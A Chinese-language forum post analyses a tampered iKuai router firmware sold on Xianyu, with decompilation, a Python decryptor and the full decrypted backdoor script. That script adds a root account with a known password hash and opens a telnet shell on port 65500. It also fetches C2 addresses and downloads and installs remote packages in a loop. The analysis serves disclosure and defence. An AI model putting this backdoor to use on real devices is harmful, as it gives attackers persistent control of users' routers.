GoForum🌐 V2EX

爱快软路由 ikuai 开心版 带插件固件完整分析

Nyarime · 2026-04-19 07:50 · 0 次点赞 · 3 条回复

前阵子在恩山看到有用户在宣传 iKuai 插件版,价格几百一个授权还提供一个 7 天试用的密钥。嚯,一看一堆插件支持,其中还有疑似 Clash 的小猫咪。当然我很感谢他们让我把软路由玩爽了,一想爱快云平台只有那 1 个冷冰冰的 Docker 就不寒而栗…

undefined

他们的闲鱼 ID 分别是:公路暴走的榛子、伦敦天蝎座海牛。还有个曾用名:金陵巨蟹座佩奇(他们有多个某鱼小号注意鉴别马甲),至于他们的固件比爱快官方还要 bt ,这些贩子销售所谓的 iKuai”企业版”固件,声称包含 Docker 、Shell 等企业版功能。实际上,这些固件通过植入后门程序实现插件加载,同时在用户路由器上留下多个后门账户。

undefined

本文完整记录了逆向分析过程。


1. 固件提取

1.1 获取 rootfs

# 使用 Nyarc 解密 iKuai 固件
nyarc --ikuai-decrypt firmware.bin -o decrypted.xz

# 解压 XZ (必须 CRC32 )
xz -d decrypted.xz

# 挂载 ext2 rootfs
mkdir /tmp/xyrm
mount -o loop decrypted /tmp/xyrm

1.2 发现异常文件

# 标准 iKuai 不应该有这个文件
ls -la /tmp/xyrm/sbin/replace_files
# -rwxr-xr-x 1 root root 42240 ... replace_files

ls -la /tmp/xyrm/sbin/appinst.bin.pkg
# -rw-r--r-- 1 root root 26288 ... appinst.bin.pkg (Salted__加密)

1.3 Nyarc 安全扫描发现后门

nyarc --scan /tmp/xyrm

输出(节选):

[CRITICAL] Hardcoded Password
  /etc/shadow: 3 个异常账户
    root:$1$...:17857    ← 后门密码
    sshd:$1$...:17857    ← 后门密码  
    iksshd:$1$...:17857  ← 后门账户(标准 iKuai 无此用户)

[CRITICAL] Backdoor Detected
  /sbin/replace_files: 42KB ELF, 非标准 iKuai 文件
  
🟠 [HIGH] Telnet Backdoor
  /etc/setup/rc: telnetd -p 65500 -l /bin/ash
  ← 隐藏 Telnet 后门,端口 65500

2. replace_files 逆向

2.1 基本信息

file /tmp/xyrm/sbin/replace_files
# ELF 64-bit LSB executable, x86-64, statically linked

strings /tmp/xyrm/sbin/replace_files | grep -i "bash\|script\|tmp"
# /bin/bash -s
# /tmp/script_out_
# /tmp/script_err_
# kworker/u8:1-ev    ← 伪装成内核线程!

关键发现:

  • 静态链接 ELF ,42KB
  • 通过/bin/bash -s执行嵌入的脚本
  • 伪装进程名为kworker/u8:1-ev(模仿内核工作线程)
  • 输出重定向到/tmp/script_out_XXXXXX

2.2 Ghidra 反编译

使用 Ghidra headless 模式反编译:

# 导入并分析
analyzeHeadless /tmp/ghidra_rf rf_proj -import replace_files

# 反编译所有函数
analyzeHeadless /tmp/ghidra_rf rf_proj -process replace_files \
  -postScript DecompileAll.java

2.3 核心函数分析

main 入口( FUN_0040168a )

void FUN_0040168a(undefined4 param_1, undefined8 *param_2)
{
    // 1. 伪装进程名
    uVar1 = FUN_00405a20(*param_2);
    FUN_00405aa0(*param_2, "kworker/u8:1-ev", uVar1);
    
    // 2. 解密嵌入的脚本
    FUN_004016e8(&DAT_0040b0a0, &DAT_0040a040, 0xdd1);
    //           ^输出缓冲区    ^加密数据       ^长度=3537 字节
    
    // 3. 执行解密后的脚本
    FUN_004010e9(&DAT_0040b0a0, param_1, param_2);
}

解密函数( FUN_004016e8 )— 核心!

void FUN_004016e8(long output, undefined8 encrypted_data, uint data_len)
{
    // 1. 生成 1024 字节查找表(类似 iKuai rootfs 的 sbox !)
    for (i = 0; i < 0x400; i++) {
        sbox[i] = key[i & 0xf] + ((char)(i + 1) * -0x22);
        //        ^16 字节密钥     ^乘以-0x22(即-34)
    }
    
    // 2. 逐字节解密:减法 + 位旋转
    for (i = 0; i < data_len; i++) {
        bVar4 = (sbox[i & 0x3ff] + (char)data_len) & 0xFF;
        
        // 计算旋转位数:bVar4 % 7 + 1
        // Ghidra 显示的是编译器优化后的除法(乘 0x25 右移 8 )
        cVar1 = (bVar4 * 0x25) >> 8;
        div7 = (cVar1 + ((bVar4 - cVar1) >> 1)) >> 2;
        shift = bVar4 - div7 * 7 + 1;
        
        // 解密操作:减去 bVar4 ,然后左旋转 shift 位
        data[i] = ROL((data[i] - bVar4) & 0xFF, shift);
    }
}

2.4 密钥提取

从 ELF 的数据段提取:

with open('replace_files', 'rb') as f:
    elf = f.read()

# 解析 ELF program headers 找到文件偏移
# DAT_0040ae20 (虚拟地址) → 0x9e20 (文件偏移)
# DAT_0040a040 (虚拟地址) → 0x9040 (文件偏移)

key = elf[0x9e20:0x9e20+16]
# 密钥: 88b1f1937a2cb39d5383953eb38a5368

encrypted_data = elf[0x9040:0x9040+0xdd1]
# 3537 字节加密数据

2.5 Python 解密实现

key = elf[0x9e20:0x9e20+16]
enc_data = bytearray(elf[0x9040:0x9040+0xdd1])
data_len = 0xdd1  # 3537

# 生成 sbox
sbox = bytearray(1024)
for i in range(1024):
    sbox[i] = (key[i & 0xf] + ((i + 1) * (-0x22 & 0xFF))) & 0xFF

# 解密
dec = bytearray(len(enc_data))
for i in range(len(enc_data)):
    bVar4 = (sbox[i & 0x3ff] + (data_len & 0xFF)) & 0xFF
    
    # shift = bVar4 % 7 + 1 (编译器优化还原)
    cVar1 = (bVar4 * 0x25) >> 8
    div7 = (cVar1 + ((bVar4 - cVar1) >> 1)) >> 2
    shift = (bVar4 - div7 * 7 + 1) & 0x1F
    
    # 解密:减去 bVar4 ,然后 ROL
    val = (enc_data[i] - bVar4) & 0xFF
    val = ((val << shift) | (val >> (8 - shift))) & 0xFF
    dec[i] = val

print(bytes(dec).decode())

3. 解密后的后门脚本

完整解密输出( 3537 字节 bash 脚本):

#!/bin/bash

# ===== 后门 1: 添加 SSH 后门账户 =====
iksshd=`cat /etc/shadow|grep "iksshd"|wc -l`
if [ $iksshd -eq 0 ];then
echo 'iksshd:$1$ebBzICAY$5CaSyktzPh8SEUYMHdzhf1:17857:0:99999:7:::' >>/etc/shadow
echo 'iksshd:x:0:0:iksshd:/root:/bin/ash' >>/etc/passwd
fi
# iksshd 账户: UID=0(root 权限), 密码 hash 已知

# ===== 后门 2: C2 通信 =====
check_network() {
    while true; do
        ping -c2 qq.com >/dev/null 2>&1 && break
        ping -c2 163.com >/dev/null 2>&1 && break
        ping -c2 baidu.com >/dev/null 2>&1 && break
        sleep 5
    done
}

# ===== 后门 3: 远程控制服务器 =====
REG_SERVER="patch.ikuai8.cn"      # 伪装成 iKuai 官方域名
REG_SERVER2="www.ikuai8.cn"       # 备用
oss_cn_beijing="https://ikuai8-app.oss-cn-beijing.aliyuncs.com"

wget_file(){
    # 通过 DNS TXT 记录获取真实 C2 地址
    regaddr=$(curl -s "https://doh.pub/dns-query?name=${REG_SERVER}&type=TXT" \
              | jq -r '.Answer[].data' | sed -E 's/"//g')
    
    # 备用 DNS
    if [ -z "$regaddr" ]; then
        regaddr=$(curl -s "https://dns.alidns.com/resolve?name=${REG_SERVER2}&type=TXT" \
                  | jq -r '.Answer[].data' | sed -E 's/"//g')
    fi
    
    # 最终备用:硬编码动态 DNS
    if [ -z "$regaddr" ]; then
        regaddr="http://bdoptical2.vicp.cc:8081"
    fi
    
    # 通过 C2 服务器签名 OSS URL
    SIGNED_SER="$regaddr/generate_signed_url.php?url="
    SIGNED_URL=$(curl -s "$SIGNED_SER$oss_cn_beijing/$1")
    echo $SIGNED_URL
}

# ===== 后门 4: 无限循环下载+安装插件 =====
while true; do
    check_network
    sleep 15

    # 下载版本信息
    downloaded_version=`curl -sL $(wget_file "appinst_ver/version_rom")`
    
    # 下载 pmd 数据库(加密的 JSON )
    wget -O /tmp/iktmp/app_up/db \
         $(wget_file "appinst_ver/appinst_$downloaded_version") -q
    
    # 下载插件包( AES 加密的 tar.gz )
    wget -O /tmp/iktmp/app_up/appinst.bin.pkg \
         $(wget_file "appinst_ver/appinst_$downloaded_version.bin.ikp") -q

    if [ -s /tmp/iktmp/app_up/db ] && [ -s /tmp/iktmp/app_up/appinst.bin.pkg ]; then
        # 覆盖 pmd 数据库
        cp /tmp/iktmp/app_up/db /etc/log/packages/db/.__DB.3.x86_64
        
        # 放置插件包
        cp /tmp/iktmp/app_up/appinst.bin.pkg /etc/log/packages/appinst.bin.pkg
        
        # 重启 pmd ( iKuai 插件管理器)强制加载
        killall pmd
        rm /tmp/packages -r
        pmd
        sleep 30
    fi

    # 安装成功则退出,否则永远重试
    if [ -f /tmp/ikpkg/appinst/version ]; then
        exit
    fi
    
    # 清理重试
    rm /etc/log/packages/*.pkg -f
done

4. 后门清单

# 类型 详情 危害等级
1 SSH 后门账户 iksshd (UID=0, root 权限) 严重
2 Telnet 后门 端口 65500, /bin/ash 严重
3 进程伪装 伪装为kworker/u8:1-ev内核线程
4 C2 通信 DNS TXT 查询获取控制服务器地址 严重
5 远程下载 从阿里云 OSS 下载任意代码执行 严重
6 pmd 注入 覆盖官方插件数据库加载恶意插件 严重
7 无限循环 后门脚本永不退出,持续尝试
8 禁用 bash /etc/setup/rc中移除 bash ,防止用户排查

C2 基础设施

patch.ikuai8.cn          → DNS TXT → 真实 C2 地址
www.ikuai8.cn            → 备用 DNS TXT
bdoptical2.vicp.cc:8081  → 硬编码备用 C2 (花生壳动态域名)
ikuai8-app.oss-cn-beijing.aliyuncs.com → 插件存储(阿里云 OSS )

C2 服务器功能:
  /generate_signed_url.php → 生成 OSS 签名下载链接

5. 加密算法对比

replace_files vs iKuai rootfs

特性 replace_files iKuai rootfs
算法 自定义 sbox+位旋转 自定义 sbox+XOR
密钥长度 16 字节 16 字节
sbox 大小 1024 字节 256 字节(uint32 溢出)
操作 减法+ROL XOR
密钥存储 ELF 数据段 vmlinuz/rootfs 末尾

两者思路一致:生成查找表→逐字节变换。可能是同一作者/团队。


6. Nyarc 自动化检测

Nyarc 可以自动检测此类后门:

# 固件检测
nyarc --fw-detect xianyu_firmware.bin
# → iKuai 3.7.x (modified)

# 安全扫描
nyarc --scan /path/to/rootfs
# → CRITICAL: Hardcoded password in /etc/shadow
# → CRITICAL: Unknown ELF in /sbin/replace_files
# → HIGH: Telnet on non-standard port 65500

# 加密分析
nyarc --crypto-scan /sbin/replace_files
# → Custom encryption detected (sbox + rotation)

# 完整报告
nyarc --report xianyu_firmware.bin report.txt

7. 工具

  • Nyarc: 固件分析工具
  • Ghidra: NSA 逆向工程框架 — ELF 反编译
  • Python: 解密脚本实现

本文仅发布于 V2EX 使用 Nyarc v1.0.0 + Ghidra 11.3.2 测试

3 条回复
Ipsum · 2026-04-19 08:15
#1

哈哈,收费还放后门。确实有点过分了。

sddyzm · 2026-04-19 08:35
#2

和个人隐私相关的一切只买官方产品

xiaowowo · 2026-04-19 09:51
#3

Nyarc 这个工具有文档吗? pro 版本和 free 版本有什么区别呢?重新打包的固件可以刷入硬件路由器吗?

添加回复
你还需要 登录 后发表回复

登录后可发帖和回复

登录 注册
主题信息
作者: Nyarime
发布: 2026-04-19
点赞: 0
回复: 0